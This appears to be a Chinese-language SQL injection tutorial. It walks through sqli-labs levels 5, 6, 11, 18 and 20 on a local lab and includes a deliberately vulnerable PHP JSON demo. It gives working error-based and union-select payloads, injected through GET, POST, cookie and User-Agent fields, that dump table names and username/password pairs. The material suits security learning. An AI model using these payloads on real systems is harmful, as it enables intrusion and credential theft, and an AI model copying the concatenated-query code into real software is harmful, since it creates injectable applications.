SQL注入之类型及提交注入
前言
在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也必须满足同等的操作才能进行注入。
简要明确参数类型
1.数字
如果是数字的话可能不存在单引号
在数字上加单引号也是有可能的,要看对方的写法
2.字符
a.一般是采用单引号,如果参数是字符的话那肯定是有单引号的
b.即使有注入也会带入单引号里,产生不了任何作用,所以我们要做的前提是先要把它的符号闭合掉
c.也有可能有括号,注入的时候需要去尝试
3.搜索
将数据进行搜索并进行展示,搜索符号是%,在过滤的时候要过滤单引号和百分号,不然语句全部在单引号和百分号里
4.JSON等
简要明确请求方式
1.根据网站的情况来获取相应的请求方法,请求方法可以通过在访问网站的时候审查元素里数据包的前缀看查看,找到Request Headers(请求头)
2.不同的请求方式,它请求的数据类型或者大小都不同。一般大数据会采用POST提交。在注入时候需要按照网站的请求方法去注入。
3.GET、POST、COOKIE、REQUEST、HTTP头等
a.GET产生一个TCP数据包;POST产生两个TCP数据包。
对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);
而对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
b.GET方法无法接收POST的值
在POST情况下GET的值只要在网址后面就能接收
GET、POST接收单个
REQUEST全部接收,网站在访问的时候由于我们大多数是黑盒测试,不知道对方代码写法,如果对方采用REQUEST接收方式,就不需要考虑用何种方法去提交,因为用GET、POST都可以。如果对方是单一接收方式,那么在注入的时候需要用它的方法去注入。
c.扩展连接
d.cookie
扩展:https://www.cnblogs.com/l199616j/p/11195667.html
4.以POST请求去测试网页,网页界面是一样的,那么表示这两个参数均以POST方式去提交
$_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值,在数据包的某一个地方可以进行注入
扩展介绍:https://blog.csdn.net/demon0313/article/details/45566527
JSON注入相关知识
1.JSON基础
a.简介
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 "application/json"
b.JSON语法
- 数据在名称/值对中
- 数据由逗号分隔
- 大括号保存对象
- 中括号保存数组
c.JSON值
- 数字(整数或浮点数)
- 字符串(在双引号中)
- 逻辑值(true 或 false)
- 数组(在中括号中){"sites":[{"name":"yang"},{"name":"ming"}]}
- 对象(在大括号中)JSON 对象在大括号({})中书写:
- null
d.JSON代码格式
{
"users": {
"user": [
{
"id": "1",
"username": "admin",
"passwd": "admin888"
},
{
"id": "2",
"username": "root",
"passwd": "root123"
},
{
"id": "3",
"username": "system",
"passwd": "system456"
}
]
}
}
2.JSON注入
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。
演示资源
1.配合sqlilabs本地数据库演示
2.JOSN本地代码
<?php
// php防止中文乱码
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//$password=$json->password;
// 建立mysql连接,root/root连接本地数据库
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
// 要操作的数据库名,我的数据库是security
$mysqli->select_db('security');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
// 数据库编码格式
$mysqli->set_charset('utf-8');
// 从users表中查询username,password字段
$sql="SELECT username,password FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
}
// 释放资源
$result->free();
$mysqli->close();
}
?>
3.JSON注入案例分析
https://tianchi.aliyun.com/competition/entrance/531796/rankingList
演示案例
参数字符型注入测试=>sqlilabs less 5、6(涉及到二次注入,扩展链接)
1.sqlilabs 5
1.找注入点
?id=1 界面显示 You are in...........
猜想:
输入?id=1 and 1=3 无反应 考虑到可能是整句话都被闭合掉了
传参时可能是 id = ' $id ' LIMIT 0,1
输入的 id=1 and 1=3 整个都包含在两个单引号中,全被当成了传入的参数。 and 1=3起不到检测报错的作用
加上单引号 SQL语法错误提示
根据上面报错可以得出 传参是用单引号包括起来的
select * from users where id='$id' limit 0,1
?id = 1'
select * from users where id='1'' limit 0,1
?id =1' and 1=1
select * from users where id='1' and 1=1' limit 0,1
闭合测试
?id=1' and '1'='1
select * from user where id='1' and '1'='1' limit 0,1
输入下面代码后发现猜想正确,在整句话之后有个单引号进行闭合,即源代码格式为id = ' $id ' LIMIT 0,1
http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1 = '1
将前面的补全
http://127.0.0.1/sqli-labs/Less-5/?id=1' and '1' = '1
接下来进行报错检测,发现网页有回显,说明该网页有SQL注入
http://127.0.0.1/sqli-labs/Less-5/?id=1' and '1' = '2
2.判断字段数
检查字段(切记要将注入字段之后给注释掉,否则会出现以下的错误)
正确页面
3.判断回显位置
使用联合查询注入发现没有反应,于是尝试报错注入(在后面会学到)
4.暴库
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+
5.爆表名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+
第一个
第二个
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x23))--+
第三个:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+
然后遍历出整个库里的表名
6.暴列名
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
然后依次遍历
7.暴数据
?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+
?id=1' and extractvalue(1,concat(0x23,(select username from users order by id limit 2,1),0x23))--+
控制limit依次遍历
2.sqlilabs 6
1.找注入点
?id=1 界面显示 You are in...........
使用单引号就行报错测试,没有作用,然后尝试双引号,出现语法报错
使用payload,依旧报错
猜测源代码传参格式是 id = " $id " LIMIT 0,1
select * from users where id="$id" limit 0,1
?id=1"
select * from users where id="1"" limit 0,1
?id=1" and 1=1
select * from users where id="1" and 1=1" limit 0,1
尝试闭合
?id=1" and "1"="1
select * from user where id="1" and "1"="1" limit 0,1
已经有回显,说明此页面有SQL注入,其余步骤和第五关是一样的
3.sqlilabs less 11
POST数据提交注入测试 ——>> sqlilabs less 11
1.分析注入的可能性
网址上没有任何参数,它的数据不在上面进行提交,后台在进行用户登陆的时候会接收你输入的数据,与数据库中的数据进行对比再进行反馈。数据的接收,数据库的查询,满足了SQL注入的产生条件。
考虑到用户名和密码不可能是纯数字,所以会有单引号等对字符闭合。
用抓包工具,比如Burpsuite,在数据包里进行注入。
查看源代码,找到需要传递的参数:uname passwd submit
2.判断注入类型
使用hackbar或者burp的POST提交功能
输入admin asd123 登陆,抓包,发送到repeater模块
在repeater中通过修改post的参数进行注入,可以登录
uname=admin' and 1=1 --+ &passwd=asd123&submit=Submit
uname=admin' and 1=2 --+ &passwd=asd123&submit=Submit 无法登录
说明注入生效,存在SQL注入
3.判断字段数
使用order by 函数判断这个数据表中有多少个字段
uname=-1' order by 2 --+ &passwd=asd123&submit=Submit
重点说明:
此处 uname用的是 -1,由于表中没有这个字段,所以查询的结果是没有回显的
order by 2 :含义是按照第二个字段排序,本实验环境中就是按照passwd这一列的字段排序,由于本实验数据库中没有第三个字段,所以当 order by 2 改成 order by 3 时数据库没办法利用第三列字段排序就会报错,这样我们就可以判断出来这个数据表中有多少个字段了
4.爆当前数据库表名:
uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit
5.爆字段名:
uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit
6.爆字段值:
uname=-1' union select 1,group_concat(username,0x3e,password) from users --+&passwd=admin&submit=Submit
注:
如果是使用hackbar直接提交时,--+有时会报错,需要使用#注释,使用burp可以是因为POST提交的数据,所以不用进行url编码,直接显示的是POST原文
总结:
(GET提交方式):
-- (后面有空格)(--+)
%23
payload结尾单引号闭合
(POST提交方式):
-- (后面有空格)(--+)
#
payload结尾单引号闭合
4.JSON数据注入
参数 JSON 数据注入测试=>本地环境代码演示
JSON列表形式,在注入的时候要把注语注入相应的地方
基本上APP数据都是由JSON提交
通过抓包来进行判断是什么提交格式
https://tianchi.aliyun.com/competition/entrance/531796/rankingList
SELECT * FROM user WHERE username={$username}
双引号是给Json看的,需要关注数据库里有没有引号,比如下图中闭合的是单引号而不是双引号
SELECT * FROM user WHERE username='{$username}'
JSON补充:
https://www.runoob.com/json/json-eval.html
https://www.cnblogs.com/malinalian/p/10481700.html
https://www.cnblogs.com/cyq1162/p/3841766.html
5.sqlilabs less 20
COOKIE 数据提交注入测试 —>> sqlilabs less 20
首先随便输入正确的用户名和密码进行登录,观察到网页回显了大量信息。再次刷新,Less 20 的页面没有变化,这应该是 cookie 起到的作用。cookie 是网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数据。想要回到登录页面,我们需要先把 cookie 清除掉。
使用admin登录
- 登录成功之后会显示cookie
- 登录失败会显示失败信息。
1.判断注入类型
在用户名和密码都使用下面的所有注入,网页都回显登录失败
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
为了发现注入点,我们抓包看看,首先抓登录网页发的包,没有看见什么有用的信息。
登陆之后刷新页面,我们发现此时网页通过 cookie 记录用户登录状态,所以无需再次登录。注意到所抓到的包的 cookie 中存储了用户名,由此猜测 uname 字段是个注入点。
在 uname 中使用单引号闭合,网页回显语法错误,说明 cookie 存在字符型的 Sql 注入漏洞
注入单引号之后用 “#” 把后面的内容注释掉,网页回显正常,说明该语句使用单引号闭合
2.判断字段数
首先我们判断有几列可用,三列时显示正常,而使用4时会报错,所以可以确定是3列
Cookie: uname=' order by 3--+
Cookie: uname=' order by 4--+
3.判断回显位置
首先已经判断有三列数据。使用联合查询注入 3 个常数,从而得到 3 列的回显位置。
Cookie: uname=' union select 1,2,3 --+
4.爆数据库名
Cookie: uname=' union select 1,database(),3 --+
5.爆表名
Cookie: uname=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
6.爆字段名
Cookie: uname=' union select 1,group_concat(column_name),3 from information_schema where table_name='users' --+
7.爆字段
Cookie: uname=' union select 1,group_concat(id,0x3A,username,0x3A,password),3 from users--+
6.sqlilabs less 18
HTTP 头部参数数据注入测试=>sqlilabs less 18
POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)
1.判断注入类型
首先输入正确的账号和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型;浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等
再输入错误的账号密码尝试一下,只显示一个IP ADDRESS
2.尝试寻找注入点
在用户名和密码都使用下面的所有注入,网页都回显失败
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
从登陆成功的页面分析
User Agent 会被回显到网页上,所以 User Agent 头可能会存在注入。使用 brup 抓包,在用户名和密码不正确时对User Agent注入各种参数尝试,发现登录失败。
尝试使用正确的账号密码并对User Agent进行注入,发现网页出现报错信息
尝试将后面的语句注释掉,发现依旧报错
3.分析数据库代码
根据3中的尝试,发现通过注释后面语句的方式仍然报错可知,我们添加的单引号 ’ 的前面并没有一个单引号与他进行闭合,如果我们想要把引号闭合就只能在后面在添加一个单引号
'192.168.3.144','admin')' 报错提示内容
192.168.3.144','admin') 代码报错部分
由此很容易发现我们添加的单引号是在host字段中IP地址后面,而host字段下一个就是User-Agent字段,所以我们添加是双引号的前一个引号,如果想进行闭合只需要再添加一个引号就可以了
增加一个单引号后,即两个单引号时不再报错,说明已经将报错的SQL语句给补全了
在注入的两个单引号之间可以插入其他 Sql 语句,在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。
User-Agent: ' OR updatexml(1,concat('!',database()),2) OR '
4.爆表名
' OR updatexml(1,concat('~',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),'~'),3) OR '
5.爆字段名
' OR updatexml(1,concat('~',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security'AND table_name='users'),'~'),3) OR '
6.爆字段值
' OR (updatexml(1,concat('~',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
修改LIMIT值依次进行遍历得到所有的字段值